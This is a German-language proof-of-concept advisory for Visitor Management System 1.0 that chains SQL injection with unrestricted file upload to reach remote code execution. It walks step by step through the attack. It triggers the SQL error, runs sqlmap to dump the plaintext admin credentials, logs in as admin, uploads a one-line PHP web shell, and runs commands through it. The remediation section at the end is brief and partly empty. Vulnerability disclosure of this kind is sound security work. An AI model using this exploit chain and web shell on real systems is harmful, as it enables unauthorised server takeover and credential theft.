
Proof-of-Concept, das SQL-Injection und uneingeschränkten Datei-Upload kombiniert, um Remote-Code-Ausführung im Visitor Management System 1.0 zu erreichen, einschließlich Schritt-für-Schritt-Anleitung zur Ausnutzung und Behebungsempfehlungen.
| Feld | Details |
|---|
| Produkt | Visitor Management System |
| Anbieter | code-projects.org |
| Version | 1.0 |
| Schwachstellenklassen | SQL-Injection (CWE-89) + Unbeschränkter Datei-Upload (CWE-434) |
| CVE-ID | Ausstehend |
| CVSS-Score | 9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Erforderliche Authentifizierung | Niedrige Berechtigung (Guard-Konto) als Einstiegspunkt |
| Betroffene Dateien | /vms/php/pass.php, /vms/php/admin_user_0.php |
| Verwundbarer Parameter | phone (POST) |
Das Visitor Management System 1.0 von code-projects.org ist anfällig für eine kritische Angriffskette, die SQL-Injection und unbeschränkten Datei-Upload kombiniert und zu Remote Code Execution führt.
Ein Angreifer mit Zugriff auf ein Konto mit niedrigen Berechtigungen (Guard-Konto) kann eine SQL-Injection-Schwachstelle in pass.php über den POST-Parameter phone ausnutzen, um die gesamte Datenbank auszulesen – einschließlich der Klartext-Administrator-Anmeldedaten. Mit den extrahierten Anmeldedaten kann sich der Angreifer als Administrator authentifizieren und anschließend über das Admin-Benutzerverwaltungs-Panel (admin_user_0.php) eine PHP-Webshell hochladen, da dort keinerlei Dateityp- oder Erweiterungsprüfung durchgeführt wird. Die hochgeladene Webshell wird in einem webbasiert zugänglichen Verzeichnis gespeichert und kann direkt über eine URL ausgeführt werden, was zu vollständiger Remote Code Execution auf dem Server führt.
Zusätzlich werden Passwörter im Klartext in der Datenbank gespeichert, sodass nach dem SQLi-Dump kein Entschlüsselungsschritt erforderlich ist.
Guard-Login mit niedrigen Berechtigungen
↓
SQL-Injection in pass.php (phone-Parameter)
↓
sqlmap-Dump → Klartext-Administrator-Anmeldedaten extrahiert
↓
Login als Administrator (sanjay1:7861)
↓
Unbeschränkter Datei-Upload in admin_user_0.php
↓
PHP-Webshell hochgeladen nach /vms/php/folder/
↓
RCE über ?cmd=whoami → vollständige Server-Kompromittierung
Navigieren Sie zur VMS-Anwendung und melden Sie sich mit den Guard-Anmeldedaten an. Nach dem Login navigieren Sie zur Telefonnummern-Seite:
http://<TARGET>/vms/php/phone_0.php

Übermitteln Sie ein einzelnes Anführungszeichen ' als Wert für die Telefonnummer. Die Anwendung wirft einen schwerwiegenden MariaDB-Fehler, der die rohe Abfrage und den Dateipfad offenlegt:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
Betroffene Datei: pass.php Zeile 9
Verwundbarer Parameter: phone (POST)

SQL-Fehler

Speichern Sie die in Burp Suite aufgezeichnete Anfrage in einer Datei (sqli.txt) und führen Sie sqlmap aus:
sqlmap -r sqli.txt --dump --batch
sqlmap liest erfolgreich die Tabelle login_user aus der Datenbank vms aus und offenbart Klartext-Anmeldedaten für alle Benutzer:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
Hinweis: Passwörter werden im Klartext gespeichert – kein Hash-Knacken erforderlich.

Melden Sie sich mit den extrahierten Administrator-Anmeldedaten im Admin-Panel an:
Benutzername: sanjay1
Passwort: 7861
Das vollständige Admin-Dashboard ist nun zugänglich, einschließlich der Verwaltung von Mitarbeitern, Abteilungen, Admin-Benutzern und Berichten.

Navigieren Sie zur Admin-Benutzerverwaltungsseite:
http://<TARGET>/vms/php/admin_user_0.php
Die Seite enthält ein Datei-Upload-Feld für ein Profilbild. Die Anwendung führt keine Dateitypprüfung, keine Erweiterungsfilterung und keine MIME-Typ-Prüfung durch.
Füllen Sie das Formular mit beliebigen Werten aus und laden Sie die folgende PHP-Webshell als Bilddatei hoch (web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>

Navigieren Sie zur Admin-Benutzeranzeigeseite:
http://<TARGET>/vms/php/admin_display_0.php
Das neu erstellte Admin-Konto ist in der Tabelle sichtbar. Die hochgeladene Webshell wird gespeichert unter:
http://<TARGET>/vms/php/folder/web2_command.php

Führen Sie beliebige Systembefehle über die Webshell aus:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
Ergebnis: Der Server gibt den aktuellen Systembenutzer zurück und bestätigt damit vollständige Remote Code Execution:
desktop-g1i9np3\dell

| Datei | Schwachstelle |
|---|---|
/vms/php/pass.php | SQL-Injection über den POST-Parameter phone |
/vms/php/admin_user_0.php | Unbeschränkter Datei-Upload – keine Erweiterungs- oder MIME-Prüfung |
/vms/php/folder/ | Webshell-Speicherverzeichnis – webbasiert zugänglich, keine Einschränkungen |
Für SQL-Injection:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
Für Datei-Upload:
Für Passwortspeicherung:
password_hash() und password_verify() verwenden – niemals Klartext speichern